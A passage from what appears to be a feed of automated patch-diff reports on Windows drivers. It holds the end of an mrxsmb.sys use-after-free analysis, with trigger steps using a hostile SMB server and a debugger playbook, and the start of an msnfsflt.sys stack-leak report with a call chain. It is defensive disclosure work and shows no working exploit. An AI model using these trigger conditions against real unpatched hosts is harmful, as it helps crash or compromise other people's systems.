&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D156&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D16B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D170&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D172&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002D180&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D174&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D178&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4D9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002D4FD&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002D505&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;ue&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D505&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Set up an SMB endpoint&lt;/strong&gt; the victim will connect to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force the error path&lt;/strong&gt; by returning a negative NTSTATUS for the tree connect, or a ShareType byte at &lt;code&gt;*(config+0xBC)&lt;/code&gt; that is not a recognized value (which sets internal status &lt;code&gt;0xC00000CB&lt;/code&gt;, STATUS_INVALID_NETWORK_RESPONSE).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Induce the victim to connect&lt;/strong&gt; (for example &lt;code&gt;dir \\server\share&lt;/code&gt;), driving &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt; and then &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drop the last reference:&lt;/strong&gt; &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; must bring &lt;code&gt;*(context+0x8)&lt;/code&gt; to zero so &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt; is posted.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Win the race:&lt;/strong&gt; the posted teardown must free the VNetRoot block before the tail &lt;code&gt;mov rcx, [rcx]&lt;/code&gt; reads &lt;code&gt;*(rbp+0x18)&lt;/code&gt;. There is no in-thread reclamation window between the dereference and the read.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable primitive:&lt;/strong&gt; A use-after-free read of one pointer field (&lt;code&gt;*(VNetRoot+0x18)&lt;/code&gt;, the mini-redirector device object pointer) passed as the first argument to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;. Touching freed memory requires losing a race against the asynchronous teardown worker; no synchronous free occurs at the read site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not demonstrated:&lt;/strong&gt; No controlled-write, arbitrary-read, or code-execution primitive is established from this bug. Reclaiming the freed VNetRoot pool block with attacker-controlled contents inside the race window is not shown, and claims of pool-spray-to-code-execution, KASLR/SMEP/SMAP defeat, or token theft are unsupported and out of scope.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Attach a kernel debugger to the unpatched build.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp mrxsmb!SmbCeCompleteVNetRootConstruction   ; entry: confirm r8d (status) is negative
bp 0x14000197D                                ; SmbCeDereferenceVNetRootContext call; dd rcx+0x8 L1 = refcount
bp 0x140001ACE                                ; mov rcx,[rcx]: reads *(rbp+0x18); !pool rbp to check the block
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;At entry:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = VNetRoot context; &lt;code&gt;r8d&lt;/code&gt; = completion status (negative selects the error path).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x14000197D&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = VNetRoot context; &lt;code&gt;*(rcx+0x8)&lt;/code&gt; = reference count. If it is 1, this call drops the last reference and posts the teardown worker.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x140001ACE&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;rbp+0x18&lt;/code&gt;; the loaded value is passed to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;. &lt;code&gt;!pool rbp&lt;/code&gt; shows whether the deferred teardown has already freed the block.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Trigger Setup&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Point a UNC path at an SMB server you control.&lt;/li&gt;
&lt;li&gt;Have it reject the tree connect with a negative NTSTATUS or an unrecognized ShareType byte (valid recognized values are 0/1/3).&lt;/li&gt;
&lt;li&gt;Access the path from the victim (&lt;code&gt;dir \\server\share&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;p&gt;Because teardown is asynchronous, the tail read at &lt;code&gt;0x140001ACE&lt;/code&gt; normally returns a still-valid device object pointer in a single-threaded observation. Driver Verifier special pool on &lt;code&gt;mrxsmb.sys&lt;/code&gt; is the reliable way to catch the read against a freed block when the teardown worker frees it first.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;&lt;/strong&gt; (unpatched @ 0x140001840, patched @ 0x14002D130, Change Type: Security Relevant)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Changes:&lt;/strong&gt; Added a &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt;-gated pre-capture of &lt;code&gt;*(arg1+0x18)&lt;/code&gt; at entry and a matching check at the tail that uses the pre-captured value instead of re-reading &lt;code&gt;*(arg1+0x18)&lt;/code&gt; after the reference is dropped. When the feature is disabled, the tail re-reads &lt;code&gt;*(arg1+0x18)&lt;/code&gt;, identical to the unpatched code. The inline ActiveVNetRoots decrement was reorganized to call the pre-existing helper &lt;code&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/code&gt; (present and identical in both builds at unpatched 0x140001E00 / patched 0x140001810); no new helper was created, and this reorganization is not the security change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;(Independent content diff confirms no other security-relevant change: all remaining differing functions differ only by WPP trace-GUID rename, ETW/WPP trace-id renumbering, or decompiler variable naming.)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline @ 0x14004C884&lt;/code&gt; and &lt;code&gt;Feature_1116195130__private_IsEnabledFallback&lt;/code&gt; (WIL feature-staging helpers backing the gate).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; Medium. The unpatched read of &lt;code&gt;*(rbp+0x18)&lt;/code&gt; after &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; and the patched pre-capture are both confirmed in the disassembly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deferred free:&lt;/strong&gt; &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; posts &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt; to a worker thread rather than freeing synchronously, so the use-after-free is a race, not a deterministic post-free read.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Staged rollout:&lt;/strong&gt; The mitigation is gated behind &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt; with the original re-read retained on the disabled branch. When the feature is off, the patched build is behaviorally identical to the unpatched build. ShareType values 0/1/3 are the recognized values; other values drive the internal &lt;code&gt;0xC00000CB&lt;/code&gt; status.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>msnfsflt.sys — Uninitialized kernel stack memory leaked through NFS server-call record (CWE-908) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/msnfsflt_e6c6e3a7-msnfsflt-report-20260703-212711.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/msnfsflt_e6c6e3a7-msnfsflt-report-20260703-212711.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched binary:&lt;/strong&gt; &lt;code&gt;msnfsflt_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched binary:&lt;/strong&gt; &lt;code&gt;msnfsflt_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall similarity:&lt;/strong&gt; &lt;code&gt;0.8262&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function diff statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched functions: &lt;code&gt;76&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Changed functions: &lt;code&gt;45&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Identical functions: &lt;code&gt;31&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Unmatched removed: &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Unmatched added: &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch fixes an uninitialized kernel stack information leak in the NFS minifilter. Two functions build a 0x4c-byte "server call information" record on the kernel stack and populate it through &lt;code&gt;MsNfsFltServerCallInformationInitialization&lt;/code&gt;, which writes every named field but leaves 8 bytes of inter-field padding (offsets &lt;code&gt;+0x04&lt;/code&gt; and &lt;code&gt;+0x14&lt;/code&gt;) unwritten. The record is then handed to the registered NFS server notification callback. The unpatched builds do not zero the record first, so the padding carries stale kernel stack bytes. The patch inserts &lt;code&gt;memset(record, 0, 0x4c)&lt;/code&gt; before population in both affected functions: &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; (the &lt;code&gt;STATUS_SHARING_VIOLATION&lt;/code&gt; handler) and &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; (the post-create callback).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Uninitialized kernel stack memory passed to the NFS server-call callback&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;CWE-908: Use of Uninitialized Resource&lt;/li&gt;
&lt;li&gt;CWE-200: Information Exposure&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected functions (unpatched):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; @ &lt;code&gt;0x1C0009C50&lt;/code&gt; (record at &lt;code&gt;[rbp-0x30]&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; @ &lt;code&gt;0x1C0008BB0&lt;/code&gt; (record at &lt;code&gt;[rbp-0x30]&lt;/code&gt;, local &lt;code&gt;var_70&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched functions:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; @ &lt;code&gt;0x1C0009DA8&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; @ &lt;code&gt;0x1C000A080&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; post-operation callback (&lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt;). The &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; path is reached when a create returns &lt;code&gt;STATUS_SHARING_VIOLATION&lt;/code&gt; / &lt;code&gt;0xC0000043&lt;/code&gt;; the &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; record is built on the normal (non-error) activity-notification path.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Root cause&lt;/h4&gt;
&lt;p&gt;Both functions declare a 0x4c-byte record on the kernel stack and fill it through the shared builder &lt;code&gt;MsNfsFltServerCallInformationInitialization&lt;/code&gt; (&lt;code&gt;0x1C0003578&lt;/code&gt; unpatched, relocated to &lt;code&gt;0x1C0002E18&lt;/code&gt; patched — byte-for-byte identical). The builder writes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+0x00&lt;/code&gt; (4), &lt;code&gt;+0x08&lt;/code&gt; (8), &lt;code&gt;+0x10&lt;/code&gt; (4), &lt;code&gt;+0x18&lt;/code&gt; (8), &lt;code&gt;+0x20&lt;/code&gt; (8), &lt;code&gt;+0x28&lt;/code&gt; (8), &lt;code&gt;+0x30&lt;/code&gt; (8), &lt;code&gt;+0x38&lt;/code&gt; (8), &lt;code&gt;+0x40&lt;/code&gt; (4), &lt;code&gt;+0x44&lt;/code&gt; (4), &lt;code&gt;+0x48&lt;/code&gt; (4), &lt;code&gt;+0x4C&lt;/code&gt; (4)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It never writes &lt;code&gt;+0x04..0x07&lt;/code&gt; or &lt;code&gt;+0x14..0x17&lt;/code&gt;. In the unpatched builds the record is not zeroed before this call, so those 8 bytes keep whatever was previously on the stack frame.&lt;/p&gt;
&lt;p&gt;The partially populated record is then passed to the registered server notification callback (installed via &lt;code&gt;MsNfsFltRegisterServer&lt;/code&gt;), stored at &lt;code&gt;arg1[8]&lt;/code&gt; (&lt;code&gt;[rdi+0x40]&lt;/code&gt;), and invoked through the Control Flow Guard dispatch stub with the record address in &lt;code&gt;rdx&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// dispatched via __guard_dispatch_icall_fptr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched version inserts, before the record is populated:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This zeroes the padding bytes before any field assignment.&lt;/p&gt;
&lt;h4&gt;Attacker-reachable call chain&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;A user-mode application opens a file on a volume monitored by &lt;code&gt;msnfsflt.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The post-create minifilter callback &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; runs.&lt;/li&gt;
&lt;li&gt;On the normal activity path, &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; builds its own stack record (&lt;code&gt;var_70&lt;/code&gt;) via &lt;code&gt;MsNfsFltServerCallInformationInitialization&lt;/code&gt; and forwards it to &lt;code&gt;MsNfsFltNotifyServerOfFileActivity&lt;/code&gt; / &lt;code&gt;MsNfsFltNotifyServerOfVolumeActivity&lt;/code&gt;, which relay it to the registered server callback.&lt;/li&gt;
&lt;li&gt;If the create returned &lt;code&gt;STATUS_SHARING_VIOLATION&lt;/code&gt; (&lt;code&gt;0xC0000043&lt;/code&gt;), &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; instead calls &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; (&lt;code&gt;cmp eax, 0C0000043h&lt;/code&gt; at &lt;code&gt;0x1C0008DA9&lt;/code&gt;, call at &lt;code&gt;0x1C0008DBA&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; builds its record (&lt;code&gt;[rbp-0x30]&lt;/code&gt;) via the same builder.&lt;/li&gt;
&lt;li&gt;The builder leaves padding at &lt;code&gt;+0x04&lt;/code&gt; and &lt;code&gt;+0x14&lt;/code&gt; uninitialized.&lt;/li&gt;
&lt;li&gt;The record is passed to the server callback:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;Whatever the callback does with the record, the 8 stale stack bytes leave the local frame in kernel context.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
